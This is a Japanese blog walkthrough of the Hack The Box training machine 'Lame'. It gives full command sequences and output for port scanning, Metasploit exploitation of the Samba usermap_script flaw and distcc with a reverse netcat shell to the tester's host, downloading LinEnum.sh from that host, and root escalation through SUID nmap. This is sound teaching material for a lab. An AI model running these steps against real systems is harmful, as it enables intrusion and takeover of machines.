LoginSignup
5
2

More than 3 years have passed since last update.

【HackTheBox】Lame - Walkthrough -

Last updated at Posted at 2020-08-27

本稿では、Hack The Boxにて提供されている Retired Machines の「Lame」に関する攻略方法(Walkthrough)について検証します。

Hack The Boxに関する詳細は、「Hack The Boxを楽しむためのKali Linuxチューニング」を併せてご確認ください。

マシンの詳細

Lame.png

エグゼクティブサマリー

ツール

  • nmap
  • ftp
  • searchsploit
  • rpcclient
  • msfconsole
  • python3 -c 'import pty; pty.spawn("/bin/bash")'
  • GTFOBins

詳細手順

ネットワークサービススキャン

nmap

IPアドレス 10.10.10.3lame.htbとして、/etc/hostsに追加します。その上で、nmapを使用し、ポートスキャンを実行します。

kali@kali:~$ nmap -Pn -T4 -A -v lame.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-26 02:44 EDT
NSE: Loaded 151 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 02:44
Completed NSE at 02:44, 0.00s elapsed
Initiating NSE at 02:44
Completed NSE at 02:44, 0.00s elapsed
Initiating NSE at 02:44
Completed NSE at 02:44, 0.00s elapsed
Initiating Connect Scan at 02:44
Scanning lame.htb (10.10.10.3) [1000 ports]
Discovered open port 21/tcp on 10.10.10.3
Discovered open port 445/tcp on 10.10.10.3
Discovered open port 22/tcp on 10.10.10.3
Discovered open port 139/tcp on 10.10.10.3
Completed Connect Scan at 02:44, 13.52s elapsed (1000 total ports)
Initiating Service scan at 02:44
Scanning 4 services on lame.htb (10.10.10.3)
Completed Service scan at 02:44, 11.74s elapsed (4 services on 1 host)
NSE: Script scanning 10.10.10.3.
Initiating NSE at 02:44
NSE: [ftp-bounce] PORT response: 500 Illegal PORT command.
Completed NSE at 02:45, 40.14s elapsed
Initiating NSE at 02:45
Completed NSE at 02:45, 0.61s elapsed
Initiating NSE at 02:45
Completed NSE at 02:45, 0.00s elapsed
Nmap scan report for lame.htb (10.10.10.3)
Host is up (0.22s latency).
Not shown: 996 filtered ports
PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 10.10.14.5
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp  open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey: 
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: -3d00h55m18s, deviation: 2h49m45s, median: -3d02h55m20s
| smb-os-discovery: 
|   OS: Unix (Samba 3.0.20-Debian)
|   Computer name: lame
|   NetBIOS computer name: 
|   Domain name: hackthebox.gr
|   FQDN: lame.hackthebox.gr
|_  System time: 2020-08-22T23:49:17-04:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)

NSE: Script Post-scanning.
Initiating NSE at 02:45
Completed NSE at 02:45, 0.00s elapsed
Initiating NSE at 02:45
Completed NSE at 02:45, 0.00s elapsed
Initiating NSE at 02:45
Completed NSE at 02:45, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 66.63 seconds

これで、標的にて稼働しているサービスが判明しました。特に気になるのは次の通りです。

ポート番号 サービス バージョン
21/tcp ftp vsftpd 2.3.4
22/tcp ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
139/tcp netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp netbios-ssn netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)

フルスキャンを実施した結果、追加で気になる稼働サービスを特定することができました。

kali@kali:~$ nmap -Pn -A -p- lame.htb
3632/tcp open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
kali@kali:~$ nmap -Pn -p 3632 lame.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-27 02:53 EDT
Nmap scan report for lame.htb (10.10.10.3)
Host is up (0.20s latency).

PORT     STATE SERVICE
3632/tcp open  distccd

Nmap done: 1 IP address (1 host up) scanned in 0.24 seconds
ポート番号 サービス バージョン
3632/tcp distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))

FTPサービスのスキャン

まず、FTPサービス - 21/tcpに対して匿名接続を試みてみます。注視すべきファイルなどはみつかりませんでした。

kali@kali:~$ ftp lame.htb
Connected to lame.htb.
220 (vsFTPd 2.3.4)
Name (lame.htb:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
226 Directory send OK.
ftp> quit
221 Goodbye.

vsFTPd 2.3.4が抱えている脆弱性について、searchsploitコマンドを使って検索します。
EDB-ID 17491が見つかりました。

kali@kali:~$ searchsploit vsFTPd 2.3.4
------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                           |  Path
------------------------------------------------------------------------------------------------------------------------- ---------------------------------
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)                                                                   | unix/remote/17491.rb
------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

EDB-ID 17491の記述を読むと、特定の期間に公開されていたvsftpd-2.3.4.tar.gzアーカイブにバックドアが仕掛けられ、それを利用するものであることがわかります。
なお、このバックドアは2011年7月3日に削除されています。lame.htbではこのコードを使うことができません。
別のアプローチについて検討します。

This module exploits a malicious backdoor that was added to the VSFTPD download archive. This backdoor was introdcued into the vsftpd-2.3.4.tar.gz archive between June 30th 2011 and July 1st 2011 according to the most recent information available. This backdoor was removed on July 3rd 2011.
17491.png

SMBサービスのスキャン

Sambaサービスの詳細を列挙してみましょう。rpcclientコマンドを実行します。残念ながら、匿名接続をサポートしていないようです。

kali@kali:~$ rpcclient -U "" lame.htb
Enter WORKGROUP\'s password: 
Cannot connect to server.  Error was NT_STATUS_IO_TIMEOUT

Samba smbd 3.0.20-Debianが抱えている脆弱性について、searchsploitコマンドを使って検索します。
EDB-ID 16320, CVE-2007-2447 が見つかりました。

kali@kali:~$ searchsploit samba 3.0.20
------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                           |  Path
------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Samba 3.0.10 < 3.3.5 - Format String / Security Bypass                                                                   | multiple/remote/10095.txt
Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasploit)                                         | unix/remote/16320.rb
Samba < 3.0.20 - Remote Heap Overflow                                                                                    | linux/remote/7701.txt
Samba < 3.0.20 - Remote Heap Overflow                                                                                    | linux/remote/7701.txt
Samba < 3.6.2 (x86) - Denial of Service (PoC)                                                                            | linux_x86/dos/36741.py
------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

アクセス権の取得

Sambaアプローチ

Metasploitの利用

Sambaが抱える CVE-2007-2447 の脆弱性を突く方法を検討します。
ここでは、攻撃コードの作成、実行を行うためのフレームワークソフトウエアであるMetasploit Frameworkを使用します。

kali@kali:~$ msfconsole
msf5 > use exploit/multi/samba/usermap_script
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf5 exploit(multi/samba/usermap_script) > options

Module options (exploit/multi/samba/usermap_script):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   139              yes       The target port (TCP)


Payload options (cmd/unix/reverse_netcat):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.10.14.5       yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf5 exploit(multi/samba/usermap_script) > set rhosts 10.10.10.3
rhosts => 10.10.10.3
msf5 exploit(multi/samba/usermap_script) > exploit

[*] Started reverse TCP handler on 10.10.14.5:4444 
[*] Command shell session 1 opened (10.10.14.5:4444 -> 10.10.10.3:58966) at 2020-08-27 00:51:57 -0400

whoami
root

Exploitコードの利用

Oussama Amri氏が公開しているCVE-2007-2447のExploit(Pythonコード)を利用することも可能です。
amriunix.png

usermap_script.pyコードは、pysmbライブラリに依存しています。このため、同ライブラリをあらかじめインストールしておく必要があります。

kali@kali:~$ sudo apt install python-pip
kali@kali:~$ pip install --user pysmb
kali@kali:~$ git clone https://github.com/amriunix/CVE-2007-2447.git

DistCCアプローチ

distccd v1 ((GNU) 4.2.4が抱えている脆弱性について、searchsploitコマンドを使って検索します。
EDB-ID 9915が見つかりました。

kali@kali:~$ searchsploit distcc
------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                           |  Path
------------------------------------------------------------------------------------------------------------------------- ---------------------------------
DistCC Daemon - Command Execution (Metasploit)                                                                           | multiple/remote/9915.rb
------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

Metasploitの利用

DistCCが抱えるEDB-ID 9915の脆弱性を突くためにMetasploit Frameworkを使用します。

kali@kali:~$ msfconsole
msf5 > use exploit/unix/misc/distcc_exec
msf5 exploit(unix/misc/distcc_exec) > options

Module options (exploit/unix/misc/distcc_exec):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   3632             yes       The target port (TCP)


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target


msf5 exploit(unix/misc/distcc_exec) > set rhosts 10.10.10.3
rhosts => 10.10.10.3
msf5 exploit(unix/misc/distcc_exec) > exploit

シェルのアップグレード

操作性を高めるため、シェルをアップグレードします。

python -c 'import pty; pty.spawn("/bin/bash")'
root@lame:/#

システム探索

makis/home/makisディレクトリの内容を確認します。

root@lame:/# cd /home
cd /home
root@lame:/home# ls
ls
ftp  makis  service  user
root@lame:/home# cd makis
cd makis
root@lame:/home/makis# ls -al
ls -al
total 28
drwxr-xr-x 2 makis makis 4096 Mar 14  2017 .
drwxr-xr-x 6 root  root  4096 Mar 14  2017 ..
-rw------- 1 makis makis 1107 Mar 14  2017 .bash_history
-rw-r--r-- 1 makis makis  220 Mar 14  2017 .bash_logout
-rw-r--r-- 1 makis makis 2928 Mar 14  2017 .bashrc
-rw-r--r-- 1 makis makis  586 Mar 14  2017 .profile
-rw-r--r-- 1 makis makis    0 Mar 14  2017 .sudo_as_admin_successful
-rw-r--r-- 1 makis makis   33 Mar 14  2017 user.txt

user.txtフラグを取得します。

root@lame:/home/makis# cat user.txt
cat user.txt
6945{BLOCKED}84c5

root.txtフラグを取得します。

root@lame:/root# ls -al
ls -al
total 80
drwxr-xr-x 13 root root 4096 Aug 23 13:00 .
drwxr-xr-x 21 root root 4096 May 20  2012 ..
-rw-------  1 root root  373 Aug 23 13:00 .Xauthority
lrwxrwxrwx  1 root root    9 May 14  2012 .bash_history -> /dev/null
-rw-r--r--  1 root root 2227 Oct 20  2007 .bashrc
drwx------  3 root root 4096 May 20  2012 .config
drwx------  2 root root 4096 May 20  2012 .filezilla
drwxr-xr-x  5 root root 4096 Aug 23 13:00 .fluxbox
drwx------  2 root root 4096 May 20  2012 .gconf
drwx------  2 root root 4096 May 20  2012 .gconfd
drwxr-xr-x  2 root root 4096 May 20  2012 .gstreamer-0.10
drwx------  4 root root 4096 May 20  2012 .mozilla
-rw-r--r--  1 root root  141 Oct 20  2007 .profile
drwx------  5 root root 4096 May 20  2012 .purple
-rwx------  1 root root    4 May 20  2012 .rhosts
drwxr-xr-x  2 root root 4096 May 20  2012 .ssh
drwx------  2 root root 4096 Aug 23 13:00 .vnc
drwxr-xr-x  2 root root 4096 May 20  2012 Desktop
-rwx------  1 root root  401 May 20  2012 reset_logs.sh
-rw-------  1 root root   33 Mar 14  2017 root.txt
-rw-r--r--  1 root root  118 Aug 23 13:00 vnc.log
root@lame:/root# cat root.txt
cat root.txt
92ca{BLOCKED}e9df

特権昇格

LinEnum」ツールを使ってシステム探索を行います。

$ cd /tmp
$ wget http://10.10.14.5:8081/LinEnum.sh
$ chmod +x LinEnum.sh
$ ./LinEnum.sh

/usr/bin/nmapコマンドにrootSUIDが設定されていることに注目します。
LinEnum.png

GTFOBins」は、ローカルのセキュリティ制限を回避するため利用できるバイナリのリストです。
このリストから「nmap」の項目を参照します。
nmap.png

この情報を参考に、次のコマンド構文を試行してみます。特権昇格に成功しました。

nmap --interactive

Starting Nmap V. 4.53 ( http://insecure.org )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
id
uid=0(root) gid=0(root)
python -c 'import pty; pty.spawn("/bin/bash")'
root@lame:/tmp#

参考情報

Walkthrough

その他

5
2
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
5
2